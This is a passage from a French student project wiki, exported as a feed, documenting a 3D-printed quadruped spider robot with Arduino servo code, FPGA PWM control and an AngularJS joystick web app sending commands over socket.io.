    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    j=0;&lt;br /&gt;
  }&lt;br /&gt;
  if(i==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AD et ARG&lt;br /&gt;
    servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADepaule.write(ADepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADcoude.write(ADcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    i=0;&lt;br /&gt;
  }&lt;br /&gt;
  i=i+5;&lt;br /&gt;
  j=j+5;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Ce code permet à l'araignée d'avancer ses pates de façon &amp;quot;asynchrone&amp;quot;. Il s'agit en réalité juste d'une impression car l'asynchronisme est impossible sous arduino. En effet, nous envoyons de très courts signaux de déplacement aux différents servos moteurs à la suite, donnant une impression d'asynchronisme.&lt;br /&gt;
Voici le lien du rendu final du déplacement:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=N7QEBWDCz9Q&amp;amp;feature=youtu.be| Déplacement quadripode]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,&lt;br /&gt;
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :&lt;br /&gt;
&lt;br /&gt;
  int a;&lt;br /&gt;
  int b;&lt;br /&gt;
  int aPrint;&lt;br /&gt;
  int bPrint;&lt;br /&gt;
  int aMoins,bMoins;&lt;br /&gt;
  int debut;&lt;br /&gt;
  char firstVal[50];&lt;br /&gt;
  char secVal[50];&lt;br /&gt;
  char byteBuffer;&lt;br /&gt;
&lt;br /&gt;
  void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
  &lt;br /&gt;
  delay(2000);&lt;br /&gt;
  i=0;&lt;br /&gt;
  j=25;&lt;br /&gt;
  Serial.begin(115200);&lt;br /&gt;
  a=0;&lt;br /&gt;
  b=0;&lt;br /&gt;
  aMoins=0;&lt;br /&gt;
  bMoins=0;&lt;br /&gt;
  i=0;&lt;br /&gt;
  debut=1;&lt;br /&gt;
  byteBuffer='a';&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  if(Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
  while(Serial.available() &amp;gt; 0)&lt;br /&gt;
   {&lt;br /&gt;
     delay(10);&lt;br /&gt;
     byteBuffer = Serial.read(); &lt;br /&gt;
     if(debut==1)&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==',')&lt;br /&gt;
       {&lt;br /&gt;
         debut=0;&lt;br /&gt;
       }  &lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         a=10*a;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           a=0;&lt;br /&gt;
           aMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '1':&lt;br /&gt;
           a=a+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           a=a+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           a=a+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           a=a+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           a=a+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           a=a+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           a=a+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           a=a+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           a=a+9;&lt;br /&gt;
           break;&lt;br /&gt;
         default:&lt;br /&gt;
           break;  &lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==';')&lt;br /&gt;
       {&lt;br /&gt;
         if(aMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           a=-a;&lt;br /&gt;
         }&lt;br /&gt;
         if(bMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           b=-b;&lt;br /&gt;
         }&lt;br /&gt;
         debut=1;&lt;br /&gt;
         if(b&amp;gt;0)&lt;br /&gt;
         {&lt;br /&gt;
            servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
            servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
            servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
            servoADepaule.write(ADepauleAvant+i); &lt;br /&gt;
            delay(20);&lt;br /&gt;
            if(j==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AG et ARD&lt;br /&gt;
              servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              j=0;&lt;br /&gt;
            }&lt;br /&gt;
            if(i==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AD et ARG&lt;br /&gt;
              servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADepaule.write(ADepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADcoude.write(ADcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              i=0;&lt;br /&gt;
            }&lt;br /&gt;
            i=i+5;&lt;br /&gt;
            j=j+5;&lt;br /&gt;
         &lt;br /&gt;
         }&lt;br /&gt;
         aMoins=0;&lt;br /&gt;
         bMoins=0;&lt;br /&gt;
       }&lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         b=10*b;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           b=0;&lt;br /&gt;
           bMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '1':&lt;br /&gt;
           b=b+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           b=b+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           b=b+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           b=b+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           b=b+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           b=b+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           b=b+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           b=b+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           b=b+9;&lt;br /&gt;
           break;  &lt;br /&gt;
         default:&lt;br /&gt;
           break;&lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante. &lt;br /&gt;
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...&lt;br /&gt;
Voici le rendu vidéo de notre projet :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=olmXs5BT4MU| Rendu vidéo final (Youtube)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants. Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.&lt;br /&gt;
&lt;br /&gt;
Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43874</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43874"/>
				<updated>2017-06-14T15:07:09Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Conclusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
* 12 micro servos moteurs pour le mouvement des pattes , soit 3 servos-moteurs par patte .&lt;br /&gt;
* Un module wifi pour la raspberry Pi.&lt;br /&gt;
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
* Une breadboard pour tester les circuits .&lt;br /&gt;
* Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début du projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’étendra pas sur les 3 séances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.&lt;br /&gt;
&lt;br /&gt;
Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionner notre moteur grâce au FPGA.&lt;br /&gt;
&lt;br /&gt;
Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.&lt;br /&gt;
&lt;br /&gt;
[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire pour aller à 0 degré, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire jusque 180 degrés, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.&lt;br /&gt;
&lt;br /&gt;
Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.&lt;br /&gt;
&lt;br /&gt;
Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant &amp;quot;dire&amp;quot; au FPGA que quand notre compteur arrive a 200, il doit passer la valeur de sortie à 1. Celle ci reste à 1 jusqu'a la valeur choisie du compteur en fonction de l'angle que nous souhaitons puis la valeur de sortie passe à 0 jusqu'à ce que le compteur atteigne 200.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;include iframe src=&amp;quot;https://www.youtube.com/embed/g1hDQJHcsJw&amp;quot; width=&amp;quot;320px&amp;quot; height=&amp;quot;320px&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;yes&amp;quot;/&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.&lt;br /&gt;
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.&lt;br /&gt;
&lt;br /&gt;
Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc 2 événements : &lt;br /&gt;
* lors d'un clic : une variable est mise à jour &amp;quot;mouseIsDown&amp;quot; pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0). &lt;br /&gt;
* lors d'un mouvement de la souris si &amp;quot;mouseIsDown&amp;quot; est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.&lt;br /&gt;
&lt;br /&gt;
La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100. &lt;br /&gt;
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.&lt;br /&gt;
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
main.js : (définition de l'application et de ses dépendances)&lt;br /&gt;
&lt;br /&gt;
 angular.module('spiderApp')&lt;br /&gt;
  .controller('MainCtrl', function () {&lt;br /&gt;
    this.awesomeThings = [&lt;br /&gt;
      'HTML5 Boilerplate',&lt;br /&gt;
      'AngularJS',&lt;br /&gt;
      'Karma'&lt;br /&gt;
    ];&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
deplacement.js : (fonctionnement dynamique du joystick de la page web)&lt;br /&gt;
&lt;br /&gt;
  angular.module('spiderApp').controller('deplacementCtrl', function($scope) {&lt;br /&gt;
    $scope.positionX=200;&lt;br /&gt;
    $scope.positionY=200;&lt;br /&gt;
    $scope.mouseIsDown=false;&lt;br /&gt;
    posXstr=$scope.positionX.toString();&lt;br /&gt;
    posYstr=$scope.positionY.toString();&lt;br /&gt;
    $scope.posjoy = {&lt;br /&gt;
      &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;position&amp;quot; : &amp;quot;absolute&amp;quot;,&lt;br /&gt;
      &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
    };&lt;br /&gt;
    var socket = io.connect('http://172.26.79.4:8080');&lt;br /&gt;
    $scope.clickDown = function(event){&lt;br /&gt;
      if($scope.mouseIsDown==false)&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = true;&lt;br /&gt;
        $scope.positionX = event.target.offsetLeft+(event.offsetX-50);&lt;br /&gt;
        $scope.positionY = event.target.offsetTop+(event.offsetY-50);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = false;&lt;br /&gt;
        $scope.positionX = 200;&lt;br /&gt;
        $scope.positionY = 200;&lt;br /&gt;
        console.log($scope.mouseIsDown);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
    };&lt;br /&gt;
    $scope.moveJoystickOutside = function(event) {&lt;br /&gt;
      if ($scope.mouseIsDown == true) {&lt;br /&gt;
        window.setTimeout(function() {&lt;br /&gt;
        ecartX=parseInt(getComputedStyle(joystick).left, 10);&lt;br /&gt;
        ecartY=parseInt(getComputedStyle(joystick).top, 10);&lt;br /&gt;
        //on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image&lt;br /&gt;
        //+20 en Y à cause du footer qui sera toujours de taille constante&lt;br /&gt;
        positionXProvisoire = event.clientX - ecartX -250;&lt;br /&gt;
        positionYProvisoire = -(event.clientY - ecartY-330);&lt;br /&gt;
        console.log(&amp;quot;posi prov X: &amp;quot;+positionXProvisoire);&lt;br /&gt;
        console.log(&amp;quot;posi prov Y: &amp;quot;+positionYProvisoire);&lt;br /&gt;
        //partie dans le cercle&lt;br /&gt;
        if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;gt;= 0 &amp;amp;&amp;amp; Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;lt; 1)&lt;br /&gt;
        {&lt;br /&gt;
          //50=moitié de la dimension de l'image du bouton avec l'araignée.&lt;br /&gt;
          //a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.&lt;br /&gt;
          $scope.positionX=event.clientX-ecartX-50;&lt;br /&gt;
          $scope.positionY=event.clientY-ecartY-130;&lt;br /&gt;
          console.log(&amp;quot;posi X: &amp;quot;+$scope.positionX);&lt;br /&gt;
          console.log(&amp;quot;posi Y: &amp;quot;+$scope.positionY);&lt;br /&gt;
          posXstr = $scope.positionX.toString();&lt;br /&gt;
          posYstr = $scope.positionY.toString();&lt;br /&gt;
          $scope.posjoy = {&lt;br /&gt;
            &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
            &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
          };&lt;br /&gt;
        }&lt;br /&gt;
        //partie en dehors du cercle&lt;br /&gt;
        else&lt;br /&gt;
          {&lt;br /&gt;
            hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));&lt;br /&gt;
            angle=Math.acos(positionXProvisoire/hypothenuse);&lt;br /&gt;
            if(-(event.clientY - ecartY-330)&amp;lt;0)&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((-Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            posXstr = $scope.positionX.toString();&lt;br /&gt;
            posYstr = $scope.positionY.toString();&lt;br /&gt;
            $scope.posjoy = {&lt;br /&gt;
              &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
              &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
            };&lt;br /&gt;
          }&lt;br /&gt;
        //attendre un peu pour ne pas embrouiller la transmition du signal&lt;br /&gt;
        socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
        }, 10);//delay en millisecondes&lt;br /&gt;
      }&lt;br /&gt;
    };&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
Voici le rendu de l'application web, que nous trouvons à l'adresse 172.26.79.4 (Adresse IP d'un ordinateur de la salle de projet) sur le port 8080 :&lt;br /&gt;
&lt;br /&gt;
                                                         [[Fichier:AppliWeb.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances. &lt;br /&gt;
&lt;br /&gt;
- Réalisation des pièces nécessaires à la construction de l'araignée :&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad : &lt;br /&gt;
&lt;br /&gt;
[[Image:Femur.jpg|vignette|center|upright=3.4|alt=Femur|Femur]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Coxa.jpg|vignette|center|upright=3.4|alt=Coxa|Coxa]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Coxa_renforce.jpg|vignette|center|upright=3.4|alt=Coxa renforce|coxa renfoce]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Tibia_sc.jpg|vignette|center|upright=3.4|alt=Tibia|Tibia]]&lt;br /&gt;
&lt;br /&gt;
Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces. &lt;br /&gt;
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.&lt;br /&gt;
&lt;br /&gt;
